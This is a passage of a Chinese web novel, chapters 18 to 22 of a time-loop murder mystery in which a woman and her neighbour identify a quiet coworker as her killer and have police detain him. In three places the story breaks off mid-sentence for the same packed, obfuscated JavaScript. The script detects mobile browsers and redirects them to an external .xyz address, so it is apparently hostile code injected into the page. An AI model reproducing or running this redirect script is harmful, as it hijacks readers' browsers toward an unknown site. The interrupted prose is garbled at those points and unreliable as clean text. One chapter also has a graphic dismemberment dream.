辛琪脸上露出难色。 她公司是知名互联网大厂，她所在的部门有上百个人，跟她关系比较亲近的也有十来个了。 但现在循环的机会越来越少，他们没有时间将每个人都调查一遍。 “其实我还没什么头绪，我先找找看吧。” 辛琪拿起手机打开了自己工作用的通讯软件。 她想翻一翻最近的聊天记录，看看有没有可疑的人选，但辛琪还没来得及查看，一条消息便刚好弹了出来。 是上司张帆通过了她的请假审批。 这条审批每次循环时都会发到辛琪手机上，她几乎都快会背了，以往都是粗略地扫一眼然后关闭。 这一次，她的指尖却顿在了屏幕上，脸色渐渐沉了下来。 “不太对劲。”秦屿听见辛琪说。 他连忙问：“怎么了。” “前几回张帆通过我的请假审批时，都会带一条留言……” 辛琪将手机展示到秦屿面前。 “但这回却什么都没有。” 19. 第十九章 秦屿看到辛琪手机屏幕上的那一条审批，除了一个孤零零的“已通过”外，便什么都没有。 在前几次循环中，他无意间扫到过辛琪的手机，知道辛琪的上司会给她留言好好休息，然后在后面加上一个爱心。 现在却少了这条留言，这着实有些奇怪。 “按照我们之前的分析，只有一种情况下，人的行动会发生变化……”辛琪眼里满是凝重之色，“那就是那个人拥有了循环的记忆。” “你是说你的上司拥有记忆，所以没有留言？”秦屿道，“会不会是他这次没想到这一点？” 辛琪反驳道：“可前几次都附上了一模一样的留言，为什么偏偏这一回没有？” 秦屿皱着眉沉默。 “也许是他真的拥有记忆，也许是别的什么环节导致他没有发出留言……” “总之，公司里一定出现了什么跟之前循环不一样的事。” 她抬眼看着秦屿：“我们必须立刻去一趟公司。” 两人匆匆下了楼，跑出小区，然后打了个车前往辛琪的公司。 现在还不到晚上七点半，正是晚高峰的时候，道路上塞满了来来往往的车辆。 车子行驶的速度很慢，辛琪便拿出了手机，一动不动地盯着那条请假审批。 张帆做出了跟前几次循环不一样的举动，好像可以将他认定为凶手了，但辛琪总觉得这其中有什么想不通的地方。 如果他真是凶手，在明知道辛琪拥有记忆的情况下，他真的会忘记附上留言，露出这么大的漏洞给辛琪吗？ 这对他来说全无好处，反而还将自己暴露在了辛琪眼前。 还有更重要的一点是，张帆这人本就不怎么正经，有妻有女还喜欢在公司里勾三搭四，平时辛琪都尽量离他远远的。 如果他大半夜的来敲自己家房门，辛琪想比起开门，自己更有可能选择报警。 又怎么可能让他有机会进入自己家里杀了自己呢？ 这一切的一切都在说明张帆不像是那个凶手，但…… 她再次看了眼手机屏幕上的请假审批。 在强有力的“物证”面前，她的所有分析都得靠边站。 万一张帆就是那么蠢，忘记给自己加留言了呢？万一他用了什么方法，让自己不得不开门，然后杀了自己呢？ 无数念头涌入辛琪脑海中，她感觉自己现在的思绪十分混乱，无法确认哪个是对哪个是错。 为今之计，她只能先见见张帆，再从他的举动里判断他到底是不是凶手了。 路上车流虽多，但好在辛琪的公司离辛琪所住的地方很近，时间接近19:40时，汽车载着两人到了公司楼下。 辛琪的公司规模很大，自然也很有钱，在这个寸土寸金的地方拥有一整栋楼，辛琪工作的地方就在其中一层。 按理来说，现在是下班时间，但辛琪仰头望了望自己工作的那一层。 一整层灯火通明，在黑夜中也算是一道靓丽的风景线。 “我就知道他们今天还得加班。” 辛琪的公司最近在为一个大型项目赶工，他们已经加了快半个月的班，每天晚上起码到了九点才能下班，看来今晚也不例外。 作为还没找到工作的应届大学生秦屿，他心有余悸地看了看这附近大半还亮着的写字楼：“我没拿到offer原来也是一件好事。” “我们现在要怎么办？直接上去吗？” “我认为直接在这里蹲守张帆比较好，要是贸然上去了，说不定会打草惊蛇。” 两人一合计，准备找个不容易被发现的角落藏好。 他们正在寻找藏匿地点时，忽然听到背后传来一个女声。 “小琪，你怎么来公司了？” 辛琪回头一看，发现是跟她关系要好的，一同在“接老板明天暴毙”群的同事周姐。 她万万想不到这个时候还能遇上自己的同事，她看了一眼周姐手上拿着的饭团，猜测她是下来买晚餐的。 周姐走进他俩身边，看了一眼秦屿后，上下打量了一眼辛琪：“你不是中午才请了病假吗？怎么不在家里好好休息，反而来了公司？” 请了假的人突然来到公司楼下……无论有什么借口都让人感觉说不通。 因此辛琪一时间也没能想到什么好的理由，她只能随口糊弄周姐：“就……过来买点东西。” “跑那么远？” “对啊，我要买的东西只有这里才有卖的。” 那还可以叫外卖啊。 周姐脑中闪过这样的疑惑，但她并没有问出口，因为她突然想起有一件事忘了告诉辛琪。 “对了，你的药落在办公室忘记带走了，反正你都来了，要不要我给你送下来？” “不用不用！”辛琪连忙摆手，“周姐你也知道的我刚刚请了病假，要是让那个谁知道我还在外面活蹦乱跳的，那可就不好了。” 她们都知道辛琪口中的“那个谁”指的是上司张帆。 周姐立马很上道地点点头：“你放心吧，我不会告诉他的！” 辛琪忙说了声谢谢，周姐还有工作要忙，便跟辛琪道了别，走入了公司大楼内。 余下的两人便继续寻找着可以藏身的角落。 秦屿找到了一处花坛，这个花坛面积很大，藏下两个人绰绰有余，这里的方位也很好，刚好能让他们观察到公司大楼门口。 两人朝着花坛走去，辛琪的手机突然响起了一声提示音。 那代表有人给辛琪发送新消息。 辛琪解锁手机一看，发现这条消息来自于“接老板明天暴毙”群。 她点进了群里，只来得及看到一个“消息已撤回”的提示。 发送人是小何。 辛琪瞥了一眼手机屏幕上显示的时间，19:45。 这个时间也让辛琪记忆很深刻。 在前几次循环中，每当到了19:45时，群里便会出现三条消息。 小何：【辛姐，周姐让我提醒你，你的感冒药忘在办公室了】 周姐：【哈哈哈，小何，你是不是发错地方了】 小何：【不好意思，不好意思，我原本想私聊辛姐的，发错了】 然而今天只有一条被撤回的信息。 那条信息被撤回后，群里也没有人说话。 辛琪公司里的群有很多，找错群发错消息的事常常发生，因此没有人在意小何那一条被撤回的信息。 大概他只是发错群了吧，大家都这么想着。 但辛琪却清楚明白地知道，那条原本被撤回的信息是什么内容。 是小何告诉她“辛姐，周姐让我提醒你，你的感冒药忘在办公室了”。 辛琪望向公司大楼里的电梯，电梯显示屏上的数字停在“20”，那正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655348|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好是辛琪这个部门的办公区域，当然也是周姐的办公区域。 刚刚周姐就是从这里上了楼，刚刚周姐也告知了她，她的药被落在办公室里了。 ……所以周姐怎么可能让小何再转告辛琪同样的事？ 如果说是周姐一早告诉了小何，小何这时才想起来要转告自己……那他为什么要撤回这条消息？ 辛琪觉得理由只有一个，小何按照前几次循环的经验，在19:45时往群里发出了这条信息，但他并没有想到辛琪会在楼下遇到周姐。 等他将消息发送出去时，周姐也刚好到达办公室，然后告诉了他自己碰到了辛琪。 小何在慌不择路之下，只能选择将那一条已经发送出去的消息撤回。 辛琪站在原地不动，出神地凝视着公司大楼的方向，这让秦屿有些疑惑。 “怎么了？”他问。 辛琪颤抖着身体，慢慢朝他转过头去：“我知道谁是凶手了。” “是我公司里的新员工小何，何成康。” 何成康这个人才来公司几个月，他并不熟悉这里的一切，所以这几个月一直都是辛琪带的他。 他内向腼腆，不怎么爱说话，除了工作以外鲜少与人交流。 但他做事却很认真负责，给辛琪省下了不少事。 辛琪觉得他人还不错，平时在公司里对他很照顾，甚至将他拉入了“接老板明天暴毙”群。 因此她怎么也想不通，何成康为什么要杀了自己。 但现在纠结这些也没有意义，辛琪在想他们应该怎么办。 根据之前的推测，找到了凶手或许就能破除循环，那她现在确认了是何成康，到了午夜十二点的时候就不会开启新的循环了吗？ 辛琪望了望天，觉得事情也许没有那么简单。 所以是要将他绳之以法，还是直接……让他消失在这个世界上？ “先去会会他吧，”秦屿提议道，“说不定当我们抓到他将他控制起来时，循环就自动消失了。” 辛琪明白这只是秦屿的猜测，但在这种情况下，他们必须要尝试所有的可能。 她点开了跟周姐聊天的对话框。 【周姐，小何还在工位上吗？】 周姐很快回复。 【不在，你有什么事找他吗】 辛琪与秦屿对视一眼，立马明白这是何成康知道自己已经暴露了。 她回复了一句“没事”，便和秦屿一起快速冲入了公司大楼中。 “你坐电梯去公司大楼里找，”秦屿道，“我走楼梯以防他从这里逃走！” 辛琪答了一声好”，便跟秦屿分头行动。 这栋大楼一共有四十多层，办公区域众多，地形也十分复杂，若是何成康成心跟他们躲猫猫的话，他们很难找见他的人影。 因此两人在大楼里找了好几个小时却是一无所获。 时间已经接近十二点，连大楼最后一盏都熄灭了。 两人实在是跑不动了，便随便找了个椅子歇着。 “我看今天是找不到了，说不定他早就离开大楼了。”秦屿道。 “这次我们确实太被动了，”辛琪也说，“而且两个人找一栋楼有些过于勉强。” “下次循环时要换个方法。” 秦屿看着她：“你有什么想法了吗？” 辛琪没有答话，只对着他微微一笑。 20. 第二十章 自从拥有了循环的记忆以来，何成康一直很小心，小心地过着这重复的一天，不让自己露出破绽。 他在每次循环中醒来的第一件就是看时间，然后在纸条上写着今天自己要做的事。 13:00，趴在桌子上午休； 14:00，午休起来开始工作； 15:30，完成新的方案交给张帆； 16:47，修改好方案再交给张帆； …… 19:45，在“接老板明天暴毙”群里发送消息：辛姐，周姐让我提醒你，你的感冒药忘在办公室了； 19:46，在“接老板明天暴毙”群里发送消息：不好意思，不好意思，我原本想私聊辛姐的，发错了； 21:01，关电脑下班回家。 这些事他每一样都不折不扣的完成，但他知道人体并不是精密的机器，当人有了意识后，便几乎不可能还原之前的动作。 像是在键盘上打出那两句话然后发送到群里这件事，有时候他速度快些，送达的时间便会少一秒；速度慢些，时间则会多一秒。 虽然这其中误差极小，但为了避免被辛琪发现，他还是设置了自动发送，这样就可以保证每一次都在同样的时间发送到群里。 他几乎是想到了所有的可能，规避了一切问题，将自己伪装成一个生活在时间循环中的普普通通的人类。 他的做法也很成功，辛琪经历了那么多次循环，始终都没有怀疑到他身上。 眼看着循环一次一次过去，他知道，等醒来的时间推迟到了十二点，那么他就会迎来属于他的胜利。 他很开心，很得意的继续伪装在辛琪眼皮子底下。 但他好像忘记了一件事情，他并不是精密的机器，他不可能将所有的细节都做到尽善尽美，毫无破绽。 比如在中午吃饭时，他没法控制自己每一口吃下去的量都跟上一次循环一模一样； 在饮水机前接水时，他没法控制接在水杯里的水和之前一样分毫不差； 坐在办公室的椅子上时，他没法控制自己在每一次循环中，都保持同样的姿势。 …… 这些误差在他不知不觉中累积起来，然后一点一点放大，最终演变成了掀起一场风暴的蝴蝶翅膀。 何成康的办公桌前养了两条颜色鲜艳的锦鲤，用小小的透明的玻璃缸装着，下面还有嫩绿的水草点缀。 当阳光照进来时，锦鲤在波光粼粼的水里游动着，看起来鲜活而迷人。 他已经养了它们好几个月，但很少有人在办公室养鱼，所以每当有同事经过他的工位时，他们都会惊讶于他怎么放了两条鱼在办公桌上。 何成康便会痴痴地望着鱼，然后说：“这是我和我女朋友一起养的，看到它们就好像看到了我的女朋友。” 别人听了他的回答，往往会感叹于他的深情，这个时候何成康只会笑笑，然后用指尖在玻璃缸上描绘着鱼的形状。 既然在办公室养了鱼，那必然少不了鱼食。 每当何成康有些累了的时候，他就会从抽屉里拿出一块小小的鱼食，碾碎了撒在鱼缸里，然后看着那两条锦鲤争抢着鱼食。 他很喜欢看这个画面，看到鱼把鱼食全都吞入腹中时，他的心也会跟着变得平静、变得温和。 但他也无法控制自己每一次都把鱼食碾成同样的碎渣，每一次都以同样的角度往鱼缸里投入鱼食。 19:10，是他在纸上记录下的今日投喂鱼食的时间。 每天投喂鱼食是他心情最好的时候，即便已经重复了很多次，但他依然不厌其烦地打开抽屉，取出鱼食，然后碾碎放入鱼缸中看着两条锦鲤争抢。 今天鱼食碾得大了些，锦鲤争抢得很激烈。 但他不知道的是，同样的时间，坐在他对面的张帆正在查看辛琪的请假申请。 张帆对辛琪颇有好感，一直想跟她发生点什么，他觉得自己职位高，工资高，配辛琪绰绰有余，即便他有妻有女。 现在辛琪生病了，他想做点什么来博得辛琪的好感。 干脆就给她留个好好休息吧。 张帆正这样想着，他听到“咚”的一声，是坐在他对面的何成康养的锦鲤在争抢鱼食时，溅出了水花。 那几滴水珠高高跃起，恰好落在了张帆的鼠标和键盘上。 张帆吓了一跳，匆忙通过辛琪的请假申请便放下了手机，取出卫生纸擦着上面的水渍。 边擦他还边嘀嘀咕咕的：“办公室养那么奇葩的东西干嘛……” 何成康对外一直是个老实人的形象，听到张帆的抱怨，他赶忙道了个歉。 张帆没理他，只是点开了何成康才修改好的方案，决定再找出一点漏洞来。 至于给辛琪的留言？他早就忘得一干二净了。 锦鲤争抢完了鱼食，在水里优哉游哉地游着，它一双浑圆的眼珠透过鱼缸看着外面。 张帆挑好了刺，将那份方案重新打了回去，接着看下一个员工刚刚提交上来的新方案；何成康则阴沉着脸对着那份方案修改，指尖有节奏的在键盘上敲击着。 他们都在忙碌自己的工作，丝毫不清楚那小小的水滴究竟会引来怎样的风波。 时间很快来到19:30，何成康发现坐在自己旁边的周姐起身离开了工位。 何成康知道，那是周姐准备下去吃晚餐了，等她上来时，他就会告诉自己辛琪的药落在了办公室，让自己提醒辛琪一声。 然后自己就会在“接老板明天暴毙”发出那条消息：辛姐，周姐让我提醒你，你的感冒药忘在办公室了。 这算是何成康在每一次循环中，唯一一件需要与辛琪接触的事。 知道辛琪拥有记忆，所以他十分小心谨慎。 他会在消息发出前将对话框打开，看到两条消息自动发送成功后，才关闭对话框。 这也是他每天最关心的事，他一刻都不敢马虎，在这次循环中也也不例外。 当他看到时间来到19:40时，便已打开了对话框等待着。 19:44，周姐回到了她的工位上。 何成康其实在此时便已经察觉到了不对劲，周姐回工位的时间好像比之前晚了一些。 但他还没来得及深思这其中发生了什么变故，周姐已经叫住了他。 “小何……” 何成康瞥了一点时间，19:45，还有十秒消息就要自动发出去了。 “嗯？”他看着电脑屏幕上的秒表回答着。 19:45:05。 周姐看了一眼他对面的张帆，才对着他压低声音说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667303|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“我刚刚在楼下碰到了一个人……” “什么？” 何成康眉头一皱，怎么这对话跟之前不一样了？ 19:45:08。 “是辛琪，我还告诉她，她的感冒药忘在办公室里了呢。” 19:45:09。 19:45:10。 消息成功发送。 接老板明天暴毙群出现了这样一条内容：辛姐，周姐让我提醒你，你的感冒药忘在办公室了。 …… 完了完了完了完了完了完了完了完了完了！！！ 周姐怎么会在楼下碰到辛琪？ 不！不对！辛琪怎么会出现在公司楼下？ 难道她发现什么了吗？！ 何成康只感觉自己的大脑在瞬间变得一片空白，耳朵里嗡嗡作响，瞳孔也在不断地放大放大放大…… 他眼睛里再也装不下其他东西，唯有群里的那一句话，不断充斥在他脑海中。 这条消息绝对不能被辛琪看见！ 脑中一旦出现这个念头，他几乎是下意识的用鼠标点击那句话选择了撤回。 他的行动其实很快，消息从发出到撤回，只间隔了短短的三秒。 但看到消息记录上显示的已撤回，他才发觉自己做了一件多么愚蠢的事情！ 那条消息就算被辛琪看见了，他还有点辩驳的空间，可以说是周姐一早让自己转告的。 但现在他选择撤回，这不是此地无银三百两吗？！ 这一下是彻底完了！她绝对知道自己是凶手了！ 而他已经……别无选择了。 最初的慌乱过去，理智逐渐回笼，他才惊觉自己背上早已变得湿漉漉一片。 没关系，何成康自我安慰着，只要熬到循环自动结束，他就还是胜利者！ 他还能成功杀死辛琪！ 何成康关闭了第二条消息的自动发送，从工位上站了起来。 找到真凶的辛琪一定会冲上楼来抓他，他的时间不多了，他必须马上逃走！ 身旁的周姐发现他的异状，有些好奇地询问：“你怎么了？” 何成康勉强维持着面上的平静：“没什么，我想去个厕所。” “哦。”周姐点了点头，没有再过多询问。 通往厕所的走廊只有何成康一个人，于是他飞快地跑入了逃生楼梯中。 他知道辛琪和她的同伴多半会在楼梯拦截自己，他并没有选择跑下楼，而是藏到了另一层办公室的厕所中。 等到那两个人开始在大楼里搜索他，他才一鼓作气地跑下楼，离开公司，朝着外面狂奔而去。 害怕那两人追上自己，何成康连车也没时间打了，只在路边随便拦了辆出租车，然后让出租车朝着城外开去。 现在过了晚高峰时间，车子很快离开这座城市，在高速公路上行驶。 何成康看到后面没有什么可疑的车辆跟着自己，心里才稍稍安定了下来。 他听着胸腔传来“咚咚咚”的声音，平息着自己因过度奔跑而急促的呼吸。 这一次循环，他熬过来了！ 何成康一脸庆幸地靠在椅背上。 没关系的，他想着，循环的次数不多了，只要自己不被他们抓住，他就会是最后的胜利者！ 21. 第二十一章 “咚、咚、咚……” 一阵规律的声音响在辛琪耳侧，将她从睡梦中吵醒。 新的循环来临了吗？辛琪不知道，她很想睁开眼看看周围，但却被一股无形的力量给牵制住，她无论怎么努力都没法睁开眼睛。 她只好闭着眼睛，继续凝神听耳旁传来的动静。 “咚、咚、咚……” 一声又一声，连绵不绝，好像永远也不会停止。 这到底是什么声音呢？辛琪起先有些疑惑，但她很快联想到了老家菜市场里，那些卖猪肉的摊位。 当客人选好一块猪肉后，老板就会将猪肉放在案板上，用大刀一块一块的将它们切得细碎。 那声音也是“咚、咚、咚”的。 小时候的辛琪觉得切肉的画面有些血腥，但在菜市场见惯了的大人，不会觉得这有什么异常，他们只会和别人闲聊着家常，等着猪肉变得血肉飞溅，骨骼分离。 所以这声音是……有邻居在切肉吗？ 但辛琪觉得不太对劲，声音实在是太清晰了，清晰到像是从这间屋子里传出来的。 在她坚持不懈的努力之下，她总算能将双眼睁开了。 睁开眼睛，映入眼帘的首先是一块天花板。 这块天花板大概上了年头，被大块的水渍泅湿，边缘处还生出了绿色的苔藓。 辛琪房间的天花板可没有这样的痕迹，有的只是孤零零的一盏灯。 所以她一下就察觉到这里并不是她的房间。 这是哪儿？新的循环并没有开启吗？ 还是说凶手又动手将她掳到了这种地方？ 许许多多的疑问充斥在辛琪脑海间，但她还没来得及细思，那规律而缓慢的声音便再一次闯进她的耳朵里。 “咚、咚、咚……” 这一次她听得很清楚了，这声音就是屋里传来的，而且来自于她的身上。 所以这究竟是什么声音？为什么会从她身上响起？ 联想到菜市场那一块块被暴力分开的猪肉，辛琪只觉得身上不寒而栗。 她挪动身子想看看自己身上到底发生了什么，却发觉自己的身体根本动弹不得。 辛琪这才发现自己已经失去了对这具身体的控制权，全身上下还在工作的唯有视觉和听觉。 至于嗅觉……辛琪深吸了一口气，她很快发现她做不到这件事，鼻腔里根本没有冰冷空气吸入的感觉。 辛琪好像变成了一具只有视觉和听觉的尸体。 她不懂到底发生了什么，这难道是时间循环带来的什么后遗症？ 她正这样猜测着时，她视线内的画面突然发生了变化。 有一个男子代替了天花板闯入了她的眼球中。 在看清男子样貌的那一刻，辛琪感觉自己心脏正在加速跳动，虽然她并不清楚心脏是否还在胸腔里活动。 是何成康。 他在看着自己的脸，并且用一种虔诚且痴迷的眼神跟自己对视着。 所以果然是何成康将自己掳到这里来的吗？ 辛琪现在很害怕，他怕何成康发现自己已经清醒。 如果何成康知道自己醒了，那他会采取什么措施？辛琪不知道，也不敢去想象。 她只能用自己仅剩的视觉和听觉，去观察何成康的一举一动。 何成康还在端详着她的脸，他眼神里透露着惊叹和赞美，好像在观赏一件难得的稀世之宝。 他又伸出手去，抚摸上了她的脸颊。从余光里辛琪能发现，何成康在用自己的手指不断摩挲着她的皮肤，但她还是什么都感觉不到。 何成康很快收回了手，他像是看够了的辛琪，将视线从她的脸上挪开了。 他缓缓起身，似乎想要离开这里。 辛琪心中暗自庆幸，一是何成康并没有发现她醒来了；二是她可以趁何成康离开时弄清楚发生了什么，再想办法从这里逃跑。 她美滋滋地想着她的计划，直到她发现何成康其实并没有走远。 他起身后只是稍微地挪动了脚步，来到了辛琪身子的另一侧。 恐惧感再次涌入辛琪的四肢百骸中。 何成康到底是什么意思？他是不是发现自己已经醒了？ 她一动不动地等着何成康接下来的动作。 然而何成康只是轻轻掰动了辛琪的脑袋，让她朝向了这屋子里的窗户。 窗户是落地窗的设计，没有任何遮挡，因此辛琪一眼便看到了外面透黑的天色。 窗外的世界被分割成小小的几块，漆黑的如同一团团黑墨，只有零星的几点灯光点缀在上方。 辛琪看不清外面的世界，但屋子里点着灯，所以她看到了自己和何成康在窗子上的倒影。 何成康蹲在她身侧，埋头不知在鼓捣着什么，随着他的动作一起一伏，那“咚、咚、咚”的声音便在持续不断地响着。 辛琪将目光移到自己身上，她觉得有点奇怪，是窗户倒影的问题吗？她看起来是不是矮了一大截？ 为什么屁股下面的腿那么短？ 然后她突然意识到，不是窗户倒影的问题，也不是她的腿短。 而是她的腿没了，腰部以下只剩臀部，一双腿消失得无影无踪。 “咚、咚、咚”的声音突然停止，何成康停止了自己的动作，又将辛琪的脑袋掰了回来。 他再次起身，这次辛琪发现，原来他手里还提着一个东西。 一截人类的小腿。 从膝盖处断开的一截人类的小腿。 这截小腿皮肤细腻，骨肉纤细，线条柔和，不难看出来自于一个女人身上。 何成康提着那截小腿的脚踝，断面便直冲着辛琪。 断面十分整齐，让辛琪看清了里面分布的骨骼、肌肉、脂肪以及新鲜的血液。 辛琪很想尖叫也很想呕吐，但她发现自己做不了任何一件事。 “滴答”，一滴血液从小腿里流了出来，正好进入辛琪的眼睛。 辛琪没有眨眼，甚至没有动一下瞳孔，就这样任由血液浸湿了自己整只眼睛。 她不是不想眨眼，而是她发现自己根本做不到。 到此刻她才终于明白，自己为什么动不了身子，呼吸不了新鲜空气，感受不到心脏的跳动，甚至连一双腿也没了。 因为她变成了一具尸体。 一具正在被何成康分尸的尸体。 …… 辛琪猛地从床上撑了起来。 天色已经黑了，窗帘将窗户遮得严严实实，屋子里昏暗一片，但辛琪还是看清了自己现在所处的地方是自己的卧室。 她摸了摸自己的双腿，感受了一下还在跳动的心脏，她终于确认自己还活着，并没有成为被何成康分尸的尸体。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14681012|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以刚刚的一切都是梦吗？ 这应该是她第一次在循环时做梦，梦中的一切都无比真实，那“咚咚咚”的声音似乎还响在她耳边，那一截小腿的断面似乎还在她的眼前。 那恐惧的感觉也萦绕在心里久久不去。 辛琪额头上满是汗水，她大口大口地喘息着，呆坐在床上久久回不过神。 直到她听到自己客厅大门传来了几声敲门声。 她掀开被子下了床，离开卧室，走到了客厅大门前。 门外敲门的人很克制，轻轻敲了三下后，便耐心地等待着辛琪开门。 辛琪将手放在门把手上，她想起刚刚那个梦，突然有些犹豫要不要开门。 好在这时门外传来了一个声音。 “辛琪，是我。” 这是秦屿的声音，辛琪放下心来将门打开了。 秦屿就在门外站着，他手中还拿着一份外卖——辛琪在前几次循环中吃过的外卖。 辛琪看了一眼手机，时间已经过了八点，正好是外卖员来她家里送外卖的时间。 秦屿也解释道：“我刚刚开门时，刚好看到那个外卖员准备给你送餐，我就帮你拿来了。” 辛琪点点头，让秦屿进了自己屋子。 秦屿一进入辛琪的客厅，就发现她脸色惨白，眼里透着惊惶不定的神色。 “你怎么了？”他立即问道。 辛琪摇摇头：“没什么，刚才做了个噩梦。” “比起这个，我们还是赶紧开始行动吧，新的一轮循环来了，何成康必定会选择逃跑。” 经过了那么多次循环，辛琪发现无论自己在哪儿，当新的循环来临时，她都一定会身处在最初的位置。 比如她下班回来一直在家里睡觉，所以每次迎来新的循环时，她都是从床上醒来的。 而现在何成康还没下班，她相信这个时间何成康还在公司大楼里。 秦屿点了点头，将外卖随手一放，与辛琪一起下了楼，匆匆赶往小区门外。 两人随便打了辆车，朝着辛琪公司驶去。 这一回显然没有上一次循环时那么堵了，但秦屿还嫌不够，一路上不断地催促着司机快些。 在他不断地催促下，十多分钟后，两人到达了辛琪公司楼下。 这一回的楼下却与之前不同，有几辆警车将大门堵得水泄不通，车顶上的红蓝闪光灯正在高频次的闪烁着，引来了许多过路人的围观。 辛琪与秦屿对视一眼，朝着公司大楼走去，两人离大楼还有十米远时，一位穿警服的警员伸手将他们拦下。 “不好意思，前方警方在办案，请你们不要再往前走了。” 这人他们非常熟悉，正是跟他们打过好几次交道的方警官。 “方警官，你们是什么时候来的？” 方警官有些疑惑眼前这个小姑娘为什么认识自己，但她没有问出口，只说着：“大概十分钟以前。” 辛琪看了一眼时间，现在是20:15，那警方就是20:05来到大楼下的。 “那你们最好查查八点到八点零五分的监控，或许有人从大楼里逃出来了。” “我们会的，”方警官眉头微蹙，“请你们两人退后一点，不要再妨碍警方办案了。” 辛琪依旧没有挪动，只看着她开口：“那如果我们是报案人的话，也需要退后吗？” 22. 第二十二章 上一次循环中，辛琪想到的方法其实就是报警。 在现代社会想要找人或控制一个人，最好的方法就是报警，毕竟辛琪和秦屿只是普通人，除了报警之外便没有别的门路或方法能够抓到何成康了。 但报警会产生一个问题，就跟他们之前抓维修工一样，在凶杀案还没发生的当下，要用什么手段才能使警方控制住何成康，不把人放走？ 秦屿提出自己的疑问时，辛琪只淡淡一笑：“你放心吧，方警官不会放过何成康的。” 他始终想不通为什么方警官会将何成康给抓住，只能带着满腹疑问跟辛琪一起来到了公司大楼下。 此时方警官站在两人面前，伸出一只手拦住了两人的去路，听到辛琪的话，她面上微怔。 “你们是报案人？” 辛琪点点头。 得到了肯定的回答，方警官很快恢复一贯严肃的表情，她对着两人说：“报案人当然也要往后退。” 她回头看了一眼公司大门：“你们要是站得太近，万一等会儿嫌疑犯冲出来了，可能会伤到你们。” 两人只好乖乖听方警官的话，往后退远了几米。 方警官一直跟在两人身旁，待两人站定后她问：“你们报案说，这家公司的员工何成康可能携带了危险物品到公司大楼，你们是怎么发现的？” 辛琪和秦屿对视一眼，他们当然不知道何成康有没有携带危险物品，这只是他们报警找的借口罢了。 辛琪回答道：“我跟何成康是同事，我上午上班的时候，看到他鬼鬼祟祟的，衣服里好像藏了什么东西，所以才选择报警。” 方警官眼睛眯起：“上午发现的事，你现在才报警？” 辛琪道：“我一开始觉得可能是我自己多心了，但我越想越害怕，所以还是报警了。” 方警官没有接话，她看这两人神色飘忽，话语里有颇多漏洞，已经料定了他们在撒谎。 她张嘴正想说些什么，突然听到身后一阵骚乱。 方警官回过头去一看，发现是她几个同事架着一个年轻男子出来了。 年轻男子嘴里嘟囔着：“你们……你们抓我干嘛呀？” 他扭了扭胳膊，似乎想要挣扎，但被身旁年轻的警员一吼，他立马老实了，像鹌鹑一样乖乖地被拎着。 大楼里还跟着跑出来了一群人，他们像是这栋大楼里的员工，不断地问着警官到底发生什么事了。 警官大概是不想引起恐慌，所以没有回答他们，只礼貌而冷漠的请他们离开。 辛琪站在方警官身旁，一眼就认出了被警察抓住的男子是何成康。 她心里暗自松了一口气，还好警察来得及时，没让何成康逃跑。 控制好何成康后，有一名警员跑上前来向方警官汇报：“方姐，没在这家伙身上发现什么危险物品，他的工位上也没发现，其他地方我们还在排查。” 什么都没发现？方警官脸上出现些许疑虑。 警员还在继续说着：“但这小子有点不对劲，我们刚刚冲上楼的时候，他在这栋楼的逃生楼梯里，正在匆匆忙忙的往楼下跑。” “有电梯不走，非要走楼梯？” 方警官瞥了一眼何成康，见他神色慌乱，满脸惊惶，在看到她身旁的辛琪时，他更是略带心虚的将眼神挪开了。 警员回答道：“是，我们还问过他的同事，说他原本好好的，在八点左右突然从工位上起来，往楼梯间里狂奔而去。” “我们觉得有点不对劲，就先把人控制住了。” 方警官点点头：“留一些人继续在大楼里搜索危险物品，有必要时记得将大楼里的员工都疏散下来，其他人跟我一起把嫌疑犯押回派出所。” 警员应了一声，传达过方警官的命令后，他便指挥人将何成康送上了一辆警车。 看着何成康被押到了警车里，两人都齐齐松了一口气。 秦屿更是略带兴奋的小声说道：“好耶！总算把人送去派出所了！” 辛琪其实对这结果早有预料。 在跟方警官短短的相处之后，她已经大致了解这是一个什么样的人。 她认真负责，又带一点多疑，但凡有任何嫌疑她都不会放过。 之前的循环中，她跟秦屿不过说错了几句话便喜提派出所一日游。 而辛琪料定，何成康醒来后的第一件事必然是逃跑，她如果在这个时候报警，那么冲上楼的警察便会撞见正在逃跑的何成康。 即便他现在并没有犯上什么罪，但他这番鬼鬼祟祟的行为也足够让方警官将他押回去审问了。 等何成康被押上警车，方警官转头对两人说道：“麻烦你们也跟我去一趟派出所吧。” 秦屿一愣：“我们……还要去啊？” “怎么？你之前去过？” 秦屿挠挠头不敢答这话，倒是辛琪开口了：“没关系，我们就跟着去一趟吧。” “为警方办案提供线索是每个公民的义务。” 方警官眉头一挑，她怎么觉得这话像是自己会说出口的。 